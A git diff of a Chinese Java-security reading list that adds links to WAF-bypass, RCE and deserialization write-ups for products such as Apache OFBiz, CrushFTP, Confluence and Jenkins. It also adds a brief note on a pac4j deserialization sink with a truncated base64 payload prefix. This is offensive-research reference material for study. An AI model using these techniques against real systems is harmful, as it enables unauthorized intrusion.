[Java文件上传大杀器-绕waf(针对commons-fileupload组件)](https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)/) - - [探寻Java文件上传流量层面waf绕过姿势系列一](https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/) - [探寻Java文件上传流量层面waf绕过姿势系列二](https://y4tacker.github.io/2022/06/21/year/2022/6/%E6%8E%A2%E5%AF%BBJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2waf%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E7%B3%BB%E5%88%97%E4%BA%8C/) - [Java反序列化数据绕WAF之加大量脏数据 | 回忆飘如雪 (gv7.me)](https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/) @@ -343,32 +345,58 @@ - [RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) - ## 16.漏洞复现 - Apache - - [Apache Commons Configuration 远程代码执行(虽然是配置文件RCE但也有学习意义)](https://xz.aliyun.com/t/11527) - [Apache Spark shell command injection vulnerability via Spark UI(之前很早前在我的各个知识星球分享了)](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-33891/index.md) - [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) - [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) - [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) + - [Log4j2不出网检测(靠类型转换、危害有限思路值得学习)](https://cloud.tencent.com/developer/article/2036012) - [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) - [Apache Dubbo 反序列化漏洞（CVE-2023-23638）分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) - [Apache Dubbo反序列化漏洞（CVE-2023-23638）完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) + - [Apache Airflow: Bypass permission verification to view task instances of other dags(CVE-2023-42663)](https://hackerone.com/reports/2208656) + - [Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)(这个漏洞适合了解RMI攻击的基础)](https://xz.aliyun.com/t/13118) + - [Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法](https://y4tacker.github.io/2023/11/30/year/2023/11/Apache-ActiveMQ-Jolokia%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8D%E4%BE%9D%E8%B5%96JDK%E6%89%93%E6%B3%95/) + - Apache OFBiz + - [Apache OFBiz漏洞 CVE-2023-49070 的前世今生(非常详细)](https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g) + - [Apache OFBiz未授权命令执行浅析(CVE-2023-51467)](https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/) - Oracle - - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) + - [Oracle Access Manager Pre-Auth RCE (CVE-2021–35587 Analysis)](https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316) +- Spring + - [Spring-Kafka-POC-CVE-2023-34040](https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040) - Nacos - - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误，后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) -- 其他 -- [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) + - [Nacos 多次打非完美方案(这人也没完全考虑到容错，但是网上暂时只有这人的，实际上在构建WriteRequest缺少setOperation)(慎用！别把别人打崩了！)](https://github.com/c0olw/NacosRce) +- Adobe + - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) + - [Analysis CVE-2023-29300: Adobe ColdFusion Pre-Auth RCE](https://blog.projectdiscovery.io/adobe-coldfusion-rce/) +- Smartbi + - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) + - [浅析Smartbi逻辑漏洞(2)](https://y4tacker.github.io/2023/08/23/year/2023/8/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-2/) + - [浅析Smartbi逻辑漏洞(3)](https://y4tacker.github.io/2024/04/19/year/2024/4/%E6%B5%85%E6%9E%90SmartBi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-3/) +- CrushFTP + - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) + - [浅析CrushFTP之VFS逃逸](https://y4tacker.github.io/2024/04/23/year/2024/4/%E6%B5%85%E6%9E%90CrushFTP%E4%B9%8BVFS%E9%80%83%E9%80%B8/) + - [CrushFTP Unauthenticated Remote Code Execution(CVE-2024-4040)](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis) + - [CrushFTP后利用提权分析(CVE-2024-4040)](https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/) +- Others + - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) - - + - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) + - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) + - [浅析GeoServer property 表达式注入代码执行(CVE-2024-36401)](https://y4tacker.github.io/2024/07/03/year/2024/7/%E6%B5%85%E6%9E%90GeoServer-property-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2024-36401/) + - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) + - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) + - [JetBrains TeamCity权限绕过(CVE-2024-23917)(这篇文章还讲解了一些容器与SpringBoot的流程知识)](https://blog.0daylabs.com/2024/05/27/jetbrains-teamcity-auth-bypass/) + - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) + - [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/) + - [Atlassian Confluence-Remote Code Execution(CVE-2023-22527)](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/) + - [Jenkins文件读取漏洞拾遗（CVE-2024-23897）](https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html) ## 17.模板引擎+表达式相关 @@ -403,18 +431,21 @@ - [Tomcat URL解析差异性导致的安全问题(网上看到的主要关注HttpServletRequest中几个解析URL的函数这个问题)](https://xz.aliyun.com/t/7544) - [Tomcat中url解析特性](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%ADurl%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7/index.md) - [SpringBoot2.3.0以下路由%2e跨目录处理(可用于权限绕过)](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot2.3.0%E4%BB%A5%E4%B8%8B%E8%B7%AF%E7%94%B1%252e%E8%B7%A8%E7%9B%AE%E5%BD%95%E5%A4%84%E7%90%86(%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87)/index.md) - - [网上看到的Jetty的部分解析特性(支持%uxxx)](https://www.wangan.com/p/7fyg8k2c7781675a) - - +- [浅谈JFinal的DenyAccessJsp绕过](https://forum.butian.net/share/1899) ## 19.ASM与JVM学习 + - [JAVA虚拟机执行模型(关注引入了栈映射帧，用于加快虚拟机中类验证过程的速度)](https://www.cnblogs.com/coding-way/p/6600647.html) - [What is a stack map frame](https://stackoverflow.com/questions/25109942/what-is-a-stack-map-frame) - 这里比较有意思的是：Java 1.7引入了此选项以加速类验证。框架分为两部分：变量类型和堆栈类型。第一帧由方法类型描述。在每个GOTO / JUMP调用之后，您需要提供堆栈映射框架的更新描述。为了节省空间，可以使用SAME，APPEND等选项，也可以通过指定变量类型的FULL数组再次描述所有变量。 - [为什么JVM需要DUP指令](https://www.cnblogs.com/clayjj/p/7698035.html) +## 20.议题 +- [Hacking FernFlower](https://y4tacker.github.io/2023/12/22/year/2023/12/Hacking-FernFlower/) + - [议题相关代码](https://github.com/Y4tacker/HackingFernFlower) + ## 其他分享 @@ -439,6 +470,7 @@ - [Java Web —— 从内存中Dump JDBC数据库明文密码(还挺好玩的)](https://mp.weixin.qq.com/s/QCfqO2BJuhSOr58rldZzxA) - [如何带依赖打包Jar](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Maven/index.md) - [一些Java二次反序列化的点(持续收集)](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E8%A7%A6%E5%8F%91%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E7%82%B9.md) + - [帆软channel接口反序列化漏洞分析(二次反序列化一些实战场景利用)](https://forum.butian.net/share/2806) - [自己写的OpenRasp分析](https://y4tacker.github.io/2022/05/28/year/2022/5/OpenRasp%E5%88%86%E6%9E%90/) - [Apache Unomi 表达式注入攻防](https://github.com/1135/unomi_exploit) - [JEXL3表达式注入](https://xz.aliyun.com/t/8099) @@ -446,7 +478,9 @@ - [安全同学讲Maven重打包的故事](https://mp.weixin.qq.com/s?__biz=MzIzOTU0NTQ0MA==&mid=2247510513&idx=1&sn=fbcd84ba56d0c04dbd28b42f10f3bfb1&chksm=e92a94fede5d1de8e8301f8efb9db5e3f1a4fc14a5e29be541668d706a77141bbbd8d63db1ac&mpshare=1&scene=1&srcid=1025aCfF1bF9RgdhX85sgkj3&sharer_sharetime=1666696525299&sharer_shareid=4a549281c7d8f067d766da5aff57a064#rd) - [某软件监控页面RCE漏洞分析(虽然过于简单，但是可以借此了解下OA系统)](https://xz.aliyun.com/t/11778) - [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s/xxAtjFvk9RxWiY-pwGf8Ow) - +- [某Cloud系统漏洞分析](https://forum.butian.net/share/2529) +- [任意文件下载漏洞的利用思考(总结非常细！)](https://mp.weixin.qq.com/s/3y62xuQJAj2gmtBSKvHHug) +- [jdk新入口挖掘(新的toString链)](https://xz.aliyun.com/t/14732) ## 比赛反思 @@ -467,8 +501,8 @@ ## 环境 - [如何远程调试Weblogic](https://github.com/QAX-A-Team/WeblogicEnvironment) - - [使用idea进行tomcat源码调试](https://zhuanlan.zhihu.com/p/35454131) +- [一些国产系统的环境搭建问题](https://github.com/ax1sX/SecurityList/) @@ -499,6 +533,9 @@ + + + ## 更多 diff --git "a/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" "b/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" index 9767f82..3ac9afe 100644 --- "a/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" +++ "b/\345\205\266\344\273\226/Java\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226/Java\350\247\246\345\217\221\344\272\214\346\254\241\345\217\215\345\272\217\345\210\227\345\214\226\347\232\204\347\202\271.md" @@ -313,3 +313,9 @@ public class DemoTest { ``` 具体分析见https://y4tacker.github.io/2022/02/06/year/2022/2/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget%E7%9A%84%E5%AD%A6%E4%B9%A0/#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8 + + +## org.pac4j.core.profile.InternalAttributeHandler#restore +使用{#sb64}rO0ABXN...serizalized_object_in_base64...，隐藏TemplatesImpl，可惜不是通用的 +另外很可惜的是高版本还做了删除，具体可以看公告：https://github.com/pac4j/pac4j/blob/1c198f3fbadc4e8c94bc953327e4e2a38c888525/documentation/blog/what_s_new_in_pac4j_v4_1.md?plain=1#L16 +参考链接：https://securitylab.github.com/advisories/GHSL-2022-085_pac4j/